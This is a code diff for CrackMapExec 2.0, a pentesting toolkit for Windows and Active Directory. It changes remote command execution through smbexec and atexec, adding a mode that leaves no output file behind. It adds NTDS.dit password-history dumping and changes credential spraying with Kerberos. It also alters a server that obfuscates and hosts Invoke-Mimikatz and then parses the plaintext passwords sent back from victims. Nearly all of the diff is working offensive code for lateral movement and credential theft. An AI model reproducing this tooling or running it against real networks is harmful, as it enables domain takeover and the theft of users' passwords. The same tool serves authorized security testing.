diff --git a/core/executor.py b/core/executor.py index 28938306..3b1686f6 100644 --- a/core/executor.py +++ b/core/executor.py @@ -25,14 +25,15 @@ class EXECUTOR: elif settings.args.execm == 'smbexec': smb_exec = SMBEXEC(command, '{}/SMB'.format(settings.args.port), - settings.args.user, + settings.args.user, settings.args.passwd, domain, settings.args.hash, settings.args.aesKey, settings.args.kerb, 'SHARE', - settings.args.share) + settings.args.share, + noOutput) smb_exec.run(host) elif settings.args.execm == 'atexec': @@ -42,5 +43,6 @@ class EXECUTOR: domain, settings.args.hash, settings.args.aesKey, - settings.args.kerb) + settings.args.kerb, + noOutput) atsvc_exec.play(host) \ No newline at end of file diff --git a/core/logger.py b/core/logger.py index 574c0a0f..4876f0d0 100644 --- a/core/logger.py +++ b/core/logger.py @@ -77,7 +77,7 @@ def red(text): return colored(text, 'red', attrs=['bold']) def shutdown(exit_code): - print colored("[*] ", 'blue', attrs=['bold']) + "KTHXBYE" + print_status("KTHXBYE") sys.exit(int(exit_code)) def root_error(): diff --git a/core/maingreenlet.py b/core/maingreenlet.py index 09cbaa5b..3ceda533 100644 --- a/core/maingreenlet.py +++ b/core/maingreenlet.py @@ -103,7 +103,9 @@ def connect(host): if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: - dumper.dump_NTDS(settings.args.ntds) + dumper.dump_NTDS(settings.args.ntds, + settings.args.ntds_history, + settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: diff --git a/core/passpoldump.py b/core/passpoldump.py index 74216fd5..d18dee82 100644 --- a/core/passpoldump.py +++ b/core/passpoldump.py @@ -7,7 +7,7 @@ from impacket import version from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.dcerpc.v5 import transport, samr from impacket.dcerpc.v5.rpcrt import DCERPCException -from time import strftime +from time import strftime, gmtime class PassPolDump: KNOWN_PROTOCOLS = { @@ -18,7 +18,7 @@ class PassPolDump: def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False): if not protocols: - self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys() + self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys() else: self.__protocols = [protocols] @@ -40,13 +40,29 @@ class PassPolDump: # Try all requested protocols until one works. entries = [] for protocol in self.__protocols: - protodef = SAMRDump.KNOWN_PROTOCOLS[protocol] + protodef = PassPolDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos) - self.get_pass_pol(host) + dce = rpctransport.get_dce_rpc() + dce.connect() + + dce.bind(samr.MSRPC_UUID_SAMR) + + resp = samr.hSamrConnect(dce) + serverHandle = resp['ServerHandle'] + + resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) + domains = resp['Buffer']['Buffer'] + + resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name']) + + resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) + domainHandle = resp['DomainHandle'] + + self.get_pass_pol(addr, rpctransport, dce, domainHandle) def convert(self, low, high, no_zero): @@ -83,8 +99,7 @@ class PassPolDump: time = str(days) + " minute " return time - def get_pass_pol(self, host): - rpctransport, dce, domainHandle = self.connect(host) + def get_pass_pol(self, host, rpctransport, dce, domainHandle): resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) diff --git a/core/rpcquery.py b/core/rpcquery.py index 971b2ef6..07d363bb 100644 --- a/core/rpcquery.py +++ b/core/rpcquery.py @@ -1,3 +1,4 @@ +import logging from logger import * from impacket.dcerpc.v5 import transport, srvs, wkst from impacket.dcerpc.v5.dtypes import NULL @@ -10,6 +11,7 @@ class RPCQUERY(): self.__domain = domain self.__lmhash = '' self.__nthash = '' + self.__local_ip = None self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') if hashes: self.__lmhash, self.__nthash = hashes.split(':') @@ -32,37 +34,45 @@ class RPCQUERY(): elif service == 'srvsvc': dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts) + self.__local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0] return dce, rpctransport def enum_lusers(self, host): dce, rpctransport = self.connect(host, 'wkssvc') - users_info = {} - try: - resp = wkst.hNetrWkstaUserEnum(dce, 1) - lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer'] - except Exception: - resp = wkst.hNetrWkstaUserEnum(dce, 0) - lusers = resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer'] + resp = wkst.hNetrWkstaUserEnum(dce, 1) + lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer'] print_succ("{}:{} Logged on users:".format(host, settings.args.port)) - for luser in lusers: - for fname in luser.fields.keys(): - print_message("{} {}".format(fname, yellow(luser[fname]))) + for user in lusers: + print_att('{}\\{} {} {}'.format(user['wkui1_logon_domain'], + user['wkui1_username'], + user['wkui1_logon_server'], + user['wkui1_oth_domains'])) def enum_sessions(self, host): dce, rpctransport = self.connect(host, 'srvsvc') - session_info = {} + level = 502 try: - resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502) + resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level) sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'] except Exception: - resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0) + level = 0 + resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level) sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer'] print_succ("{}:{} Current active sessions:".format(host, settings.args.port)) for session in sessions: - for fname in session.fields.keys(): - print_message("{} {}".format(fname, yellow(session[fname]))) + if level == 502: + if session['sesi502_cname'][:-1] != self.__local_ip: + print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'], + session['sesi502_username'], + session['sesi502_num_opens'], + session['sesi502_time'], + session['sesi502_idle_time'])) + + elif level == 0: + if session['sesi0_cname'][:-1] != self.__local_ip: + print_att('\\\\{}'.format(session['sesi0_cname'])) def enum_disks(self, host): dce, rpctransport = self.connect(host, 'srvsvc') @@ -74,4 +84,5 @@ class RPCQUERY(): print_succ("{}:{} Available disks:".format(host, settings.args.port)) for disk in resp['DiskInfoStruct']['Buffer']: for dname in disk.fields.keys(): - print_att(disk[dname]) + if disk[dname] != '\x00': + print_att(disk[dname]) diff --git a/core/scripts/atexec.py b/core/scripts/atexec.py index e5270944..a54aaba3 100755 --- a/core/scripts/atexec.py +++ b/core/scripts/atexec.py @@ -29,7 +29,7 @@ from impacket.dcerpc.v5.dtypes import NULL class TSCH_EXEC: - def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False): + def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False): self.__username = username self.__password = password self.__domain = domain @@ -38,6 +38,7 @@ class TSCH_EXEC: self.__aesKey = aesKey self.__doKerberos = doKerberos self.__command = command + self.__noOutput = noOutput if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') @@ -61,8 +62,6 @@ class TSCH_EXEC: def doStuff(self, rpctransport): def output_callback(data): - peer = ':'.join(map(str, rpctransport.get_socket().getpeername())) - print_succ('{} Executed command via ATEXEC'.format(peer)) print_att(data.strip()) dce = rpctransport.get_dce_rpc() @@ -112,11 +111,22 @@ class TSCH_EXEC: cmd.exe - /C %s > %%windir%%\\Temp\\%s 2>&1 +""" + if self.__noOutput is False: + xml+= """ /C %s > %%windir%%\\Temp\\%s 2>&1 """ % (self.__command, tmpFileName) + + else: + xml+= """ /C %s + + + + """ % (self.__command) + + logging.info("Task XML: {}".format(xml)) taskCreated = False try: logging.info('Creating task \\%s' % tmpName) @@ -145,26 +155,32 @@ class TSCH_EXEC: if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) - smbConnection = rpctransport.get_smb_connection() - waitOnce = True - while True: - try: - logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) - smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) - break - except Exception, e: - if str(e).find('SHARING') > 0: - sleep(3) - elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: - if waitOnce is True: - # We're giving it the chance to flush the file before giving up + peer = ':'.join(map(str, rpctransport.get_socket().getpeername())) + print_succ('{} Executed command via ATEXEC'.format(peer)) + + if self.__noOutput is False: + smbConnection = rpctransport.get_smb_connection() + waitOnce = True + while True: + try: + logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) + smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) + break + except Exception, e: + if str(e).find('SHARING') > 0: sleep(3) - waitOnce = False + elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: + if waitOnce is True: + # We're giving it the chance to flush the file before giving up + sleep(3) + waitOnce = False + else: + raise else: raise - else: - raise - logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) - smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) - + logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) + smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) + else: + logging.info('Output retrieval disabled') + dce.disconnect() \ No newline at end of file diff --git a/core/scripts/secretsdump.py b/core/scripts/secretsdump.py index a4139653..44f70908 100755 --- a/core/scripts/secretsdump.py +++ b/core/scripts/secretsdump.py @@ -1694,7 +1694,7 @@ class NTDSHashes: if self.__pwdLastSet is True: answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet) - print answer + print_att(answer) if self.__history: for i, (LMHashHistory, NTHashHistory) in enumerate( @@ -1705,7 +1705,7 @@ class NTDSHashes: lmhash = hexlify(LMHashHistory) answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory)) - print answer + print_att(answer) if outputFile is not None: self.__writeOutput(outputFile, answer + '\n') @@ -1888,7 +1888,7 @@ class NTDSHashes: logging.info('Kerberos keys grabbed') for itemKey in self.__kerberosKeys.keys(): - print itemKey + print_att(itemKey) # And finally the cleartext pwds if len(self.__clearTextPwds) > 0: @@ -1898,7 +1898,7 @@ class NTDSHashes: logging.info('ClearText passwords grabbed') for itemKey in self.__clearTextPwds.keys(): - print itemKey + print_att(itemKey) # Closing output file if self.__outputFileName is not None: @@ -1940,14 +1940,14 @@ class DumpSecrets: self.__securityHive = None #Local self.__samHive = None #Local self.__ntdsFile = None #Local - self.__history = False #Might want to expose this + #self.__history = False #Might want to expose this self.__noLMHash = True self.__isRemote = True self.__outputFileName = outputFile self.__doKerberos = kerberos self.__justDC = False #Might want to expose this - self.__justDCNTLM = False #Might want to expose this - self.__pwdLastSet = False #Might want to expose this + self.__justDCNTLM = True #Might want to expose this + #self.__pwdLastSet = False #Might want to expose this self.__resumeFileName = None #Might want to expose this def getBootKey(self): @@ -1998,12 +1998,10 @@ class DumpSecrets: def do_remote_ops(self): bootKey = None self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos) - if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True: - self.__remoteOps.enableRegistry() - bootKey = self.__remoteOps.getBootKey() - # Let's check whether target system stores LM Hashes - self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() - + self.__remoteOps.enableRegistry() + bootKey = self.__remoteOps.getBootKey() + # Let's check whether target system stores LM Hashes + self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() self.__bootKey = bootKey def dump_SAM(self): @@ -2035,7 +2033,7 @@ class DumpSecrets: except Exception, e: logging.error('LSA hashes extraction failed: %s' % str(e)) - def dump_NTDS(self, method): + def dump_NTDS(self, method, history, pwdLastSet): # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work vss = False if method == 'vss': @@ -2044,17 +2042,18 @@ class DumpSecrets: else: NTDSFileName = None - self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=True, history=self.__history, + print_succ("{}:{} Dumping NTDS.dit secrets using the {} method (domain\\uid:rid:lmhash:nthash):".format(self.__remoteAddr, self.__remotePort, method.upper())) + self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, isRemote=True, history=history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=vss, justNTLM=self.__justDCNTLM, - pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + pwdLastSet=pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName) try: self.__NTDSHashes.dump() except Exception, e: logging.error(e) if method != 'vss': - logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter') + logging.info('Something wen\'t wrong with the DRSUAPI approach') def cleanup(self): logging.info('Cleaning up... ') diff --git a/core/scripts/smbexec.py b/core/scripts/smbexec.py index cbb9ed98..abbd7840 100755 --- a/core/scripts/smbexec.py +++ b/core/scripts/smbexec.py @@ -50,8 +50,8 @@ class SMBEXEC: '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } - def __init__(self, command, protocols = None, - username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None): + def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False): + if not protocols: protocols = SMBEXEC.KNOWN_PROTOCOLS.keys() @@ -65,6 +65,7 @@ class SMBEXEC: self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos + self.__noOutput = noOutput self.__share = share self.__mode = mode self.shell = None @@ -96,7 +97,7 @@ class SMBEXEC: if self.__mode == 'SERVER': serverThread = SMBServer() serverThread.start() - self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName) + self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput) self.shell.onecmd(self.__command) self.shell.finish() if self.__mode == 'SERVER': @@ -107,7 +108,7 @@ class SMBEXEC: self.shell.finish() class RemoteShell(cmd.Cmd): - def __init__(self, share, rpc, mode, serviceName): + def __init__(self, share, rpc, mode, serviceName, noOutput): cmd.Cmd.__init__(self) self.__share = share self.__mode = mode @@ -117,6 +118,7 @@ class RemoteShell(cmd.Cmd): self.__command = '' self.__shell = '%COMSPEC% /Q /c ' self.__serviceName = serviceName + self.__noOutput = noOutput self.__rpc = rpc self.intro = '[!] Launching semi-interactive shell - Careful what you execute' @@ -127,19 +129,22 @@ class RemoteShell(cmd.Cmd): logging.critical(str(e)) sys.exit(1) - s = rpc.get_smb_connection() - - # We don't wanna deal with timeouts from now on. - s.setTimeout(100000) - if mode == 'SERVER': - myIPaddr = s.getSMBServer().get_socket().getsockname()[0] - self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) - self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp['lpScHandle'] - self.transferClient = rpc.get_smb_connection() - self.do_cd('') + + if self.__noOutput is False: + s = rpc.get_smb_connection() + # We don't wanna deal with timeouts from now on. + s.setTimeout(100000) + self.transferClient = rpc.get_smb_connection() + if mode == 'SERVER': + myIPaddr = s.getSMBServer().get_socket().getsockname()[0] + self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) + else: + logging.info('Output retrieval disabled') + + #self.do_cd('') def finish(self): # Just in case the service is still created @@ -188,6 +193,10 @@ class RemoteShell(cmd.Cmd): def output_callback(data): self.__outputBuffer += data + if self.__noOutput is True: + self.__outputBuffer = '' + return + if self.__mode == 'SHARE': self.transferClient.getFile(self.__share, self.__output, output_callback) self.transferClient.deleteFile(self.__share, self.__output) @@ -198,11 +207,17 @@ class RemoteShell(cmd.Cmd): os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME) def execute_remote(self, data): - command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile - if self.__mode == 'SERVER': - command += ' & ' + self.__copyBack + if self.__noOutput is False: + command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile + if self.__mode == 'SERVER': + command += ' & ' + self.__copyBack + else: + command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile + command += ' & ' + 'del ' + self.__batchFile + logging.info('Command in batch file: {}'.format(command)) + resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] @@ -218,5 +233,6 @@ class RemoteShell(cmd.Cmd): self.execute_remote(data) peer = ':'.join(map(str, self.__rpc.get_socket().getpeername())) print_succ("{} Executed command via SMBEXEC".format(peer)) - print_att(self.__outputBuffer.strip()) + if self.__noOutput is False: + print_att(self.__outputBuffer.strip()) self.__outputBuffer = '' diff --git a/core/servers/mimikatz.py b/core/servers/mimikatz.py index d5dbe286..5a609705 100644 --- a/core/servers/mimikatz.py +++ b/core/servers/mimikatz.py @@ -10,6 +10,7 @@ import BaseHTTPServer import ssl func_name = re.compile('CHANGE_ME_HERE') +comments = re.compile('#.+') class MimikatzServer(BaseHTTPRequestHandler): @@ -23,6 +24,7 @@ class MimikatzServer(BaseHTTPRequestHandler): with open('hosted/'+ self.path[4:], 'rb') as script: ps_script = script.read() ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) + ps_script = comments.sub('', ps_script) self.wfile.write(ps_script) elif settings.args.path: @@ -43,16 +45,19 @@ class MimikatzServer(BaseHTTPRequestHandler): data = self.rfile.read(length) if settings.args.mimikatz: - buf = StringIO(data).readlines() - i = 0 - while i < len(buf): - if ('Password' in buf[i]) and ('(null)' not in buf[i]): - passw = buf[i].split(':')[1].strip() - if len(passw) != 719: #Sometimes mimikatz gives long hexstrings instead of clear text passwords + try: + buf = StringIO(data).readlines() + i = 0 + while i < len(buf): + if ('Password' in buf[i]) and ('(null)' not in buf[i]): + passw = buf[i].split(':')[1].strip() domain = buf[i-1].split(':')[1].strip() user = buf[i-2].split(':')[1].strip() print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw))) - i += 1 + + i += 1 + except Exception as e: + print_error("Error while parsing Mimikatz output: {}".format(e)) elif settings.args.mimi_cmd: print data diff --git a/core/smartlogin.py b/core/smartlogin.py index a024ba49..23686286 100644 --- a/core/smartlogin.py +++ b/core/smartlogin.py @@ -41,7 +41,10 @@ def smart_login(host, smb, domain): user, passwd = user_pass.split(':') try: - smb.login(user, passwd, domain, lmhash, nthash) + if settings.args.kerb: + smbConnection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey) + else: + smb.login(user, passwd, domain, lmhash, nthash) print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd)) settings.args.user = user settings.args.passwd = passwd @@ -106,7 +109,10 @@ def smart_login(host, smb, domain): if user == '': user = "''" try: - smb.login(user, '', domain, lmhash, nthash) + if settings.args.kerb: + smbConnection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey) + else: + smb.login(user, '', domain, lmhash, nthash) print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash)) settings.args.user = user settings.args.hash = ntlm_hash @@ -122,7 +128,10 @@ def smart_login(host, smb, domain): if passwd == '': passwd = "''" try: - smb.login(user, passwd, domain) + if settings.args.kerb: + smbConnection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey) + else: + smb.login(user, passwd, domain) print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd)) settings.args.user = user settings.args.passwd = passwd diff --git a/crackmapexec.py b/crackmapexec.py index a72bf2f6..baad7cc0 100755 --- a/crackmapexec.py +++ b/crackmapexec.py @@ -24,7 +24,7 @@ import sys import os VERSION = '2.0' -CODENAME = '\'I have to change the name of this thing\'' +CODENAME = '\'I gotta change the name of this thing\'' if sys.platform == 'linux2': if os.geteuid() is not 0: @@ -39,23 +39,24 @@ parser = argparse.ArgumentParser(description=""" \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| - Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r + Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r - Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) + Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) - Inspired by: - @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap - @gojhonny's CredCrack https://github.com/gojhonny/CredCrack - @pentestgeek's smbexec https://github.com/pentestgeek/smbexec -{}: {} -{}: {} + Inspired by: + @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap + @gojhonny's CredCrack https://github.com/gojhonny/CredCrack + @pentestgeek's smbexec https://github.com/pentestgeek/smbexec + + {}: {} + {}: {} """.format(red('Version'), yellow(VERSION), red('Codename'), yellow(CODENAME)), formatter_class=RawTextHelpFormatter, - version='2.0 - \'{}\''.format(CODENAME), + version='2.0 - {}'.format(CODENAME), epilog='There\'s been an awakening... have you felt it?') parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)") @@ -65,7 +66,7 @@ parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, h parser.add_argument("-C", metavar="COMBO_FILE", dest='combo_file', type=str, default=None, help="Combo file containing a list of domain\\username:password or username:password entries") parser.add_argument('-k', action="store", dest='aesKey', metavar="HEX_KEY", help='AES key to use for Kerberos Authentication (128 or 256 bits)') parser.add_argument("-d", metavar="DOMAIN", dest='domain', default=None, help="Domain name") -parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default //./root/cimv2)') +parser.add_argument("-n", metavar='NAMESPACE', dest='namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') parser.add_argument("-s", metavar="SHARE", dest='share', default="C$", help="Specify a share (default: C$)") parser.add_argument('--kerb', action="store_true", dest='kerb', help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters') parser.add_argument("--port", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") @@ -78,6 +79,8 @@ rgroup = parser.add_argument_group("Credential Gathering", "Options for gatherin rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') rgroup.add_argument("--ntds", choices={'vss', 'drsuapi', 'ninja'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)") +rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') +rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') rgroup.add_argument("--mimikatz", action='store_true', help='Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems') rgroup.add_argument("--mimikatz-cmd", metavar='MIMIKATZ_CMD', help='Run Invoke-Mimikatz with the specified command') rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1") @@ -181,6 +184,11 @@ if args.combo_file and not os.path.exists(args.combo_file): print_error('Unable to find combo file at specified path') shutdown(1) +if args.ntds_history or args.ntds_pwdLastSet: + if not args.ntds: + print_error('--ntds-history and --ntds-pwdLastSet require --ntds') + shutdown(1) + ################################################################################################################ def get_targets(target):